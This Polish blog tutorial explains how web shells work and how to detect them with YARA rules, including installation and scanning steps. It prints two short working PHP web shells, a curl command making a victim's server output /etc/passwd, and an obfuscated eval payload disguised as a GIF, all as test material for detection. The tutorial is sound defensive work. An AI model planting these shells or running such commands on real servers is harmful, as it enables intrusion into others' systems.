YARA – Mały myśliwy Web Shell(i)
Napisał: Patryk Krawaczyński
16/05/2017 w Ataki Internetowe, Bezpieczeństwo Brak komentarzy. (artykuł nr 609, ilość słów: 961)
Y
ARA jest narzędziem, które jest ukierunkowane (lecz nie ograniczone tylko do tego) na pomoc badaczom w identyfikacji i klasyfikacji próbek szkodliwego oprogramowania. Przy jego użyciu możemy w prosty sposób stworzyć opisy dowolnych obiektów za pomocą tekstowych oraz binarnych wzorców. Każdy taki opis aka reguła składa się z zestawu łańcucha/ów znaków i wyrażeń logicznych, które determinują logikę reguły.
Przykład:
rule nfsec_worm { meta: description = "Harmless NFsec Worm" defconlevel = "10" strings: $a = "{ 6A 40 68 00 30 00 00 6A 14 8D 91 } $b = "{ Security is our right - Hacking is our left }" condition: $a or $b }
Powyższa reguła instruuje program YARA, aby zaraportowała każdy plik zawierający jeden z dwóch powyższych ciągów jako nfsec_worm. Jest to bardzo prosty przykład – bardziej skomplikowane i skuteczne możemy stworzyć za pomocą wieloznaczników, ciągów znaków niewrażliwych na wielkość liter, wyrażeń regularnych, operatorów oraz innych funkcji, których opis i przykłady znajdziemy w dokumentacji. Nas akurat będzie interesować wykrywanie szkodliwego fragmentu kodu, który wstrzyknięty do poprawnego, ale podatnego kodu strony internetowej powoduje, że atakujący jest w stanie: edytować, usuwać, pobierać lub wrzucać dowolny plik z i do zaatakowanej strony. Daje mu to również możliwość wykonywania poleceń z poziomu powłoki lub serwera MySQL. Web shelle, bo o nich mowa to nic innego, jak tylne furtki z interfejsem obsługiwanym z poziomu przeglądarki. Działają one wyłącznie na poziomie strony web (w dodatku muszą być napisane w tym samym języku, który obsługuje atakowany serwer WWW) i nie oferują komunikacji przez gniazda sieciowe, jak to ma miejsce w przypadku powłok zwrotnych, w których to serwer łączy się z programem atakującego. Dlatego webshelle są takie proste w użyciu i szybko konfigurowalne.
Najczęściej umieszcza się je poprzez takie podatności, jak Unrestricted / Arbitrary File Upload lub Remote File Inclusion. Jeśli nasza aplikacja internetowa cierpi na tego typu przypadłość atakujący może wykorzystać ten fakt i umieścić na naszym serwerze webshella, a następnie wywołać go z poziomu przeglądarki i otrzymać interfejs do wydawania poleceń na naszym systemie. Na szczęście wszystkie polecenia wydane przez niego będą uruchamiane z prawami użytkownika, z którymi został uruchomiony interpreter danego języka. Na przykład w przypadku PHP najczęściej będzie to użytkownik www-data
. Dlatego na wgraniu prostego webshella nigdy się nie kończy. Zazwyczaj jest to pierwszy proces eksploracji, który kontynuowany jest poprzez różnego rodzaju czynności (np. ściąganie i odpalanie eksploitów) mające doprowadzić do podniesienia poziomu uprawnień. Poniżej znajduje się przykład bardzo prostego webshella w języku PHP:
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; } ?>
Po umieszczeniu go na atakowanym serwerze wystarczy jego poprawne wywołanie, aby uzyskać np. zawartość pliku /etc/passwd:
curl -XGET http://ofiara.pl/webshell.php?cmd=cat+/etc/passwd
Parametr cmd
przyjmuje polecenie, które zostanie uruchomione na systemie, a jego wynik zostanie zwrócony w przeglądarce atakującego. Metoda HTTP GET
nie jest jedyną drogą do wysyłania poleceń. Atakujący może wykorzystać metody POST
, pliki COOKIE
lub nawet spreparowane nagłówki HTTP
:
<?php passthru(getenv("HTTP_ACCEPT_LANGUAGE")); echo '<br> by q1w2e3r4'; ?>
Przykłady bardzo prosto znaleźć dla dowolnego języka programowania. Powyższe dwa webshelle mają nikłe szanse na powodzenie, ponieważ w przypadku języka PHP bardzo często w sekcji disable_functions definiuje się funkcje: system oraz passthru.
Powróćmy jednak do YARA. Proces instalacji w systemie Linux Ubuntu 16.04 LTS jest dość prosty:
mkdir /opt/yara-3.6.0 ln -s /opt/yara-3.6.0 /opt/yara apt install build-essential dh-autoreconf libssl-dev -y wget 'https://github.com/VirusTotal/yara/archive/v3.6.0.tar.gz' tar -xvf v3.6.0.tar.gz cd yara-3.6.0 ./bootstrap.sh ./configure --prefix=/opt/yara make make check make install
Po instalacji powinniśmy zaopatrzyć się w pliki z regułami już istniejących webshelli. Większość z nich znajduje się na githubie:
cd /opt/yara git clone https://github.com/Yara-Rules/rules.git cat /opt/yara/rules/Webshells/*.yar >> /opt/yara/rules/Webshells/all.yar /opt/yara/bin/yarac /opt/yara/rules/Webshells/all.yar /opt/yara/rules/Webshells/all.compiled
Ostatnie polecenie kompiluje nam zebrane reguły, co powoduje szybsze działanie programu (YARA nie musi robić tego w locie). W przypadku dodania nowych reguł wystarczy proces ten powtórzyć. Sprawdźmy teraz działanie naszego skanera i przeszukajmy kod naszej strony:
/opt/yara/bin/yara /opt/yara/rules/Webshells/all.compiled -r /var/www
Na szczęście nic nie zostało znalezione. Sprowokujmy zatem sztuczny alarm. Do nowego pliku /var/www/webshell.php dodajmy zaciemniony kod, który w dodatku “udaje” plik graficzny .gif.
GIF89GHZ <?php eval (gzinflate(base64_decode(str_rot13("ML/EF8ZjRZnsUrk/hV /iih+BI40TaSguWq98TXxc4k0pOiufqT+K7WvibboK8kxCfTyZ6IddrWcAV5mKhyA DT6ZEPUoIKJWkYyewYRFaJxt+epn6S0qs39+umDuTfsEJnSmd3HRWTkCv/WgX54K4 sK552h1khNHKr2lIXpZOhYvSs2VHZh8O8oKbPibYUutxFLYKpCY20l8=")))); ?>
root@darkstar:~# file /var/www/webshell.php /var/www/webshell.php: GIF image data 23112 x 15370
Na podstawie kodu źródłowego opisujemy naszego webshella jako regułę YARA:
rule fake_gif_webshell { meta: description = "Fake GIF webshell" family = "PHP.Obfuscated" filetype = "PHP" id = "31337" strings: $obf = /eval[\( \t]+((base64_decode[\( \t]+)|(str_rot13[\( \t]+)|(gzinflate[\( \t]+))+/ condition: all of them }
Testujmy działanie nowej reguły:
/opt/yara/bin/yara -m test.yar -r /var/www
Jako wynik polecenia powinna pojawić się informacja o nowym znalezisku:
fake_gif_webshell [ description="Fake GIF webshell", family="PHP.Obfuscated", filetype="PHP", id="31337" ] /var/www/webshell.php
Analogicznie jesteśmy w stanie opisywać pliki binarne wyciągając z nich ciągi znaków np. za pomocą polecenia strings (strings /bin/cat
). Możemy także wspomóc się generatorem reguł online. W dodatku YARA może zostać zintegrowana z skryptami napisanymi w języku Python, co daje nam jeszcze szersze pole manewru, jeśli chodzi o interpretację wyników lub integrację z innymi systemami do skanowania i powiadamiania o wykrytych zagrożeniach.
Więcej informacji: Webshells – Every Time the Same Purpose – Part 1, Part 2, Part 3 & Part 4, Hunting for Web Shells, yarAnalyzer